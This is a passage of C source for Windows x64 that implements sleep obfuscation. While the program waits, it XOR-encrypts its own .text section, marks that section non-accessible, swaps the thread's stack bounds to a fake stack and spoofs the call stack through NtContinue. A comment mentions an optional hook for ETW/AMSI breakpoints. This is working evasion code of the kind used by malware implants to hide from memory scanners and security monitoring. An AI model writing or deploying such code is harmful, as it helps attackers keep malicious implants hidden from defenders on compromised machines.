if (veh) RemoveVectoredExceptionHandler(veh);
return FALSE;
}
PVOID base = addr;
SIZE_T rsz = sz;
ULONG _old = 0;
NTSTATUS st = s_ntpvm((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
InterlockedExchange(&s_in_prot, 0);
if (veh) RemoveVectoredExceptionHandler(veh);
if (st != 0) return FALSE;
if (old) *old = (DWORD)_old;
return TRUE;
}
/* Read/write TEB fields via GS segment register */
__attribute__((section(".run")))
static inline PVOID _teb_read_ptr(DWORD64 off)
{
PVOID v;
__asm__ __volatile__("movq %%gs:(%1), %0" : "=r"(v) : "r"(off));
return v;
}
__attribute__((section(".run")))
static inline void _teb_write_ptr(DWORD64 off, PVOID val)
{
__asm__ __volatile__("movq %0, %%gs:(%1)" :: "r"(val), "r"(off) : "memory");
}
/* Globals shared between main thread and trampoline */
static CONTEXT s_saved_ctx = {0};
static obf_ctx_t *s_obf_ctx = NULL;
static volatile LONG s_restore = 0;
/*
* Timer thread: lives entirely in .run so it keeps executing while .text
* is PAGE_NOACCESS. Uses direct function pointers stored in obf_ctx_t, not
* IAT thunks (which sit in .text and would fault on access).
*/
__attribute__((section(".run"), noinline))
static DWORD WINAPI _timer_thread(LPVOID arg)
{
obf_ctx_t *c = (obf_ctx_t *)arg;
c->fn_sleep(c->sleep_ms);
c->fn_setevent(c->done);
return 0;
}
/*
* Wakeup trampoline: called when NtWaitForSingleObject returns via the fake
* stack. Decrypts .text, restores TEB stack bounds, and resumes via NtContinue
* with the real saved context.
*/
__attribute__((section(".run"), noinline))
static void _sleep_trampoline(void)
{
obf_ctx_t *c = s_obf_ctx;
BYTE *p = (BYTE *)c->text_base;
SIZE_T n = c->text_size;
DWORD old;
c->fn_vprot(p, n, PAGE_READWRITE, &old);
for (SIZE_T i = 0; i < n; i++) p[i] ^= c->key[i & 31];
if (!c->fn_vprot(p, n, PAGE_EXECUTE_READ, &old))
c->fn_vprot(p, n, PAGE_EXECUTE_READWRITE, &old);
_teb_write_ptr(0x08, c->orig_stack_base);
_teb_write_ptr(0x10, c->orig_stack_limit);
c->ntcontinue(&s_saved_ctx, FALSE);
__builtin_unreachable();
}
/*
* Encrypt .text, mark PAGE_NOACCESS, rewrite TEB stack bounds to the fake
* stack, then pivot to NtWaitForSingleObject via NtContinue. Never returns.
*/
__attribute__((section(".run"), noinline))
static void _obf_sleep_tail(obf_ctx_t *ctx, CONTEXT *fake_ctx_ptr)
{
BYTE *p = (BYTE *)ctx->text_base;
SIZE_T n = ctx->text_size;
DWORD old;
for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31];
ctx->fn_vprot(p, n, PAGE_NOACCESS, &old);
_teb_write_ptr(0x08, (PVOID)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ));
_teb_write_ptr(0x10, ctx->fake_stack_mem);
ctx->ntcontinue(fake_ctx_ptr, FALSE);
__builtin_unreachable();
}
/* PE header walk to find own .text section */
static void _find_section(const char *name, LPVOID *base, SIZE_T *sz)
{
*base = NULL; *sz = 0;
BYTE *img = (BYTE *)GetModuleHandleA(NULL);
if (!img) return;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)img;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(img + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return;
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
int ok = 1;
for (int j = 0; j < 8; j++) {
char c = name[j];
if (sec->Name[j] != (unsigned char)c) { ok = 0; break; }
if (!c) break;
}
if (ok) {
*base = img + sec->VirtualAddress;
*sz = sec->Misc.VirtualSize;
return;
}
}
}
void sleep_obf(DWORD ms)
{
LPVOID text_base = NULL;
SIZE_T text_size = 0;
_find_section(".text", &text_base, &text_size);
if (!text_base || !text_size) { Sleep(ms); return; }
HMODULE hntdll = GetModuleHandleA("ntdll.dll");
HMODULE hk32 = GetModuleHandleA("kernel32.dll");
if (!hntdll || !hk32) { Sleep(ms); return; }
NtContinue_t fn_cont = (NtContinue_t) GetProcAddress(hntdll, "NtContinue");
NtWait_t fn_wait = (NtWait_t) GetProcAddress(hntdll, "NtWaitForSingleObject");
RtlCaptureContext_t fn_cap = (RtlCaptureContext_t)GetProcAddress(hntdll, "RtlCaptureContext");
PVOID fn_rts = GetProcAddress(hntdll, "RtlUserThreadStart");
VirtualProtect_t fn_vprot = (VirtualProtect_t) GetProcAddress(hk32, "VirtualProtect");
Sleep_t fn_sleep = (Sleep_t) GetProcAddress(hk32, "Sleep");
SetEvent_t fn_setevent= (SetEvent_t) GetProcAddress(hk32, "SetEvent");
if (!fn_cont || !fn_wait || !fn_cap || !fn_vprot || !fn_sleep || !fn_setevent) {
Sleep(ms); return;
}
obf_ctx_t *ctx = (obf_ctx_t *)HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(obf_ctx_t));
if (!ctx) { Sleep(ms); return; }
ctx->text_base = text_base;
ctx->text_size = text_size;
ctx->sleep_ms = ms;
ctx->ntcontinue = fn_cont;
ctx->fn_vprot = fn_vprot;
ctx->fn_sleep = fn_sleep;
ctx->fn_setevent = fn_setevent;
ctx->done = CreateEventA(NULL, FALSE, FALSE, NULL);
if (!ctx->done) { HeapFree(GetProcessHeap(), 0, ctx); Sleep(ms); return; }
/* relative timeout in 100ns units with 5s buffer */
ctx->timeout.QuadPart = -((LONGLONG)(ms + 5000) * 10000LL);
BCryptGenRandom(NULL, ctx->key, sizeof(ctx->key), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
ctx->fake_stack_mem = VirtualAlloc(NULL, FAKE_STACK_SZ,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ctx->fake_stack_mem) {
CloseHandle(ctx->done);
HeapFree(GetProcessHeap(), 0, ctx);
Sleep(ms);
return;
}
/* place trampoline as return address on fake stack top */
PVOID *fake_top = (PVOID *)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ - 16);
fake_top[0] = (PVOID)_sleep_trampoline;
fake_top[1] = fn_rts ? (PVOID)((BYTE *)fn_rts + 0x10) : NULL;
ctx->orig_stack_base = _teb_read_ptr(0x08);
ctx->orig_stack_limit = _teb_read_ptr(0x10);
s_obf_ctx = ctx;
InterlockedExchange(&s_restore, 0);
/* capture current context — RIP lands here after NtContinue restores it */
fn_cap(&s_saved_ctx);
/* two-pass: encrypt path sets s_restore=1; restore path sees it and cleans up */
if (InterlockedCompareExchange(&s_restore, 0, 1) == 1) {
SecureZeroMemory(ctx->key, sizeof(ctx->key));
CloseHandle(ctx->done);
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, ctx);
return;
}
InterlockedExchange(&s_restore, 1);
/* build fake context: RIP=NtWait, RSP=fake_stack */
CONTEXT fake_ctx;
memcpy(&fake_ctx, &s_saved_ctx, sizeof(CONTEXT));
fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top;
fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait;
fake_ctx.Rcx = (DWORD64)ctx->done;
fake_ctx.Rdx = FALSE;
fake_ctx.R8 = (DWORD64)(uintptr_t)&ctx->timeout;
/* create timer thread before encrypting — DLL_THREAD_ATTACH needs .text */
HANDLE ht = CreateThread(NULL, 0, _timer_thread, ctx, 0, NULL);
if (!ht) {
SecureZeroMemory(ctx->key, sizeof(ctx->key));
CloseHandle(ctx->done);
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, ctx);
InterlockedExchange(&s_restore, 0);
Sleep(ms);
return;
}
/* optional hook: arm ETW/AMSI breakpoints on the timer thread */
if (g_sleep_obf_thread_hook)
g_sleep_obf_thread_hook(ht);
CloseHandle(ht);
/* verify permission round-trip before committing (fails under ACG) */
BYTE *p = (BYTE *)text_base;
DWORD old, dummy;
if (!_nt_prot(p, text_size, PAGE_READWRITE, &old))
goto _fallback;
if (!_nt_prot(p, text_size, old, &dummy)) {
_nt_prot(p, text_size, old, &dummy);
goto _fallback;
}
_nt_prot(p, text_size, PAGE_READWRITE, &old);
_obf_sleep_tail(ctx, &fake_ctx);
__builtin_unreachable();
_fallback:
SecureZeroMemory(ctx->key, sizeof(ctx->key));
CloseHandle(ctx->done);
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, ctx);
InterlockedExchange(&s_restore, 0);
Sleep(ms);
}